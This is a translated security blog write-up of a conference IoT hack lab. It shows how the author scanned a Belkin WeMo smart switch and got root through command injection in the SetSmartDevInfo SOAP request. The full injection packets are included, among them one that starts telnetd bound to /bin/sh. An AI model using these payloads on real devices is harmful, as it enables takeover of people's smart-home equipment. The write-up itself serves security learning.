SecTor 2015上有很多的活动,其中我最喜欢的是由Tripwire发起的物联网骇客实验室(Internet of Things Hack Lab)。

物联网(Internet of Things)是指具有网络功能的物理设备。这些设备具有相当多样的功能,例如:智能灯泡、智能温控器、智能插座,以及我们下文要讲的智能开关。

大会上Tripwire向参会者展示了针对全球物联网攻击的研究。他们同时列举了一份物联网设备表,表内包含从路由器到智能电视机等设备,还带来了一段针对家庭路由器攻击的演示视频。

在会议的第一天里,我总是随处乱转跟一群厂商的工作人员交流,想看看这些厂商都做了些什么软件或硬件产品以及他们提供了哪些服务。第一天接近尾声的时候,我决定找到物联网骇客实验室聊聊,因为我完全被他们的设备所吸引。他们告诉我面前所有的设备都是存在漏洞的并且任何人都可以坐下来尝试去攻击它们。也许是我太感兴趣了,直接抄起我的脏手开始了攻击。但是很不幸,那时没有可用的笔记本了,所以我决定第二天再来。第二天我带着我那装有KALI虚拟机的笔记本和一个无线适配器就来了。等坐下之后我就开始查找面前这些设备的漏洞了。我发现并成功利用漏洞的第一个设备是TRENDNet路由器,它存在一个认证绕过的漏洞。第二个设备是Belkin WeMo开关。

这篇文章记录了我面对那些曾经听说过但从未见过的设备和协议攻击的经历。

关于设备

贝尔金WeMo智能电源开关是贝尔金智能家居的一部分,用于控制开关所有链接的设备,也可以对链接的设备分配任务。下面是一些关于我攻击的开关的具体配置:

设备名称:WeMo Switch

固件:WeMo_WW_2.00.8326.PVT-OWRT-SNS

一台没有进行过任何配置且第一次接通电源开机的开关,开机后直接连入到无线网络中。通常情况下,这事应该通过无线网使用智能手机对开关进行配置。

当我将笔记本连入到WeMo的无线网后,我获取到的IP为了10.22.22.102。然后使用netdiscover工具(netdiscover -i wlan0 -r 10.22.22.0/24),我发现网关IP为10.22.22.1

扫描设备

当我确定了网段内的IP地址后,下一步就是进行端口扫描。使用nmap工具(nmap -sS -sU -sV -v -e wlan0 10.22.22.1),扫描结果如下:

如何与设备进行通信

在浏览器中访问10.22.22.1的49152端口发现是404。然后使用M-SEARCH命令来查找哪些UPnP服务是可用的:

printf "M-SEARCH * HTTP/1.1\r\nHOST:239.255.255.250:1900\r\nST:upnp:rootdevice\r\nMX:10\r\nMAN:\"ssdp:discover\"\r\n\r\n" | nc -u 239.255.255.250 1900 -p 1900

输完命令后我发现了一个netcat监听,它向我回复如下相应:

nc -lup 1900

HTTP/1.1 200 OK

CACHE-CONTROL: max-age=86400

DATE: Sat, 01 Jan 2000 01:23:41 GMT

EXT:

LOCATION: http://10.22.22.1:49152/setup.xml

OPT: "http://schemas.upnp.org/upnp/1/0/"; ns=01

01-NLS: 794dc9a6-1dd2-11b2-9c60-cdf5773d7a81

SERVER: Unspecified, UPnP/1.0, Unspecified

X-User-Agent: redsonic

ST: upnp:rootdevice

USN: uuid:Socket-1_0-XXXXXXXXXXXXXX::upnp:rootdevice

我们发现存在一个包含开关配置的文件 http://10.22.22.1:49152/setup.xml,里面包含模块名称、模块数量和序列号等配置信息。这个文件还列出来能够通过UPnP进行访问的服务,和一个包含描述使用方法和变量的XML文件路径。其中我们发现一个感兴趣的服务basicevent和一个包含具体服务使用方法的文档路径:http://10.22.22.1:49152/eventservice.xml。

发现漏洞

开关只接受少数方法发来的数据,分别是:

· ChangeFriendlyName
· SetSmartDevInfo

为了利用这些方法我伪造了一个SOAP请求,下面是一个请求例子:

POST <Service URL> HTTP/1.1

Content-Length: <variable>

SOAPACTION: "<Service Type>#<Method>"

Content-Type: text/xml; charset="utf-8"

Accept: ""

<?xml version="1.0" encoding="utf-8"?>

<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">

<s:Body>

<u:<Method> xmlns:u="<Service Type>">

<<Variable>><Value></<Variable>>

</u:<Method>>

</s:Body>

</s:Envelope>

看来ChangeFriendlyName不存在漏洞,但是SetSmartDevInfo看起来存在漏洞。当我设置SmartDevURL值为'reboot'后开关重启了。下面是这个请求数据包:

POST /upnp/control/basicevent1 HTTP/1.1

Content-Length: <variable>

SOAPACTION: "urn:Belkin:service:basicevent:1#SetSmartDevInfo"

Content-Type: text/xml; charset="utf-8"

Accept: ""



<?xml version="1.0" encoding="utf-8"?>

<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">

<s:Body>

<u:SetSmartDevInfo xmlns:u="urn:Belkin:service:basicevent:1">

<SmartDevURL>`reboot`</SmartDevURL>

</u:SetSmartDevInfo>

</s:Body>

</s:Envelope>

下一步就是想办法GetShell了。

获取ROOT

当我知道可以执行命令后,我就知道是时候GetShell了。开关可能会存在某种登录服务像Telnet或者SSH。我首先尝试设置 telnet,通过将 SmartDevURL值设置为'telnetd'。然后进行了一次快速的扫描(nmap -sS -vvv 10.22.22.1)以查看开关上面是否开启了telnet。

看上去tenlet是开启了。然而当我尝试telnet到开关上时却被提示输入用户名和密码。在尝试了5分钟的弱密码攻击失败后,我决定绕过认证。经过一番研究我发现 telnet可以通过设置 -l标志来决定登录时执行的操作。通过设置SmartDevURL值为'telnetd –l /bin/sh',现在我在执行telnet后直接得到了一个shell而不再是要求输用户名密码的登录框了。具体数据包如下:

POST /upnp/control/basicevent1 HTTP/1.1

Content-Length: <variable>

SOAPACTION: "urn:Belkin:service:basicevent:1#SetSmartDevInfo"

Content-Type: text/xml; charset="utf-8"

Accept: ""



<?xml version="1.0" encoding="utf-8"?>

<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">

<s:Body>

<u:SetSmartDevInfo xmlns:u="urn:Belkin:service:basicevent:1">

<SmartDevURL>`telnetd -l /bin/sh`</SmartDevURL>

</u:SetSmartDevInfo>

</s:Body>

</s:Envelope>

后记

当我得到了ROOT后一切都成为了可能。现在我们得到了WeMo开关的完全控制权了,可以随便开启关闭链接的设备。另外,我们还可以修改智能开关的一些操作,例如增加一些功能等。当其他人获取到这种权限后,他们可能会把这些智能设备拿来做非法的事。比如做为僵尸网络中的一个节点。

关于作者:

Bryon Hart是一个非常喜爱安全的信息系统安全专家。他是谢尔丹学院应用信息科学课程的本科毕业生。他同时拥有谢尔丹学院计算机工程的文凭。Bryon现在是道衡(Duff & Phelps)信息安全服务团队的安全分析师。

*原文地址:tripwire,译者/xiaix,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)

源链接

Hacking more

...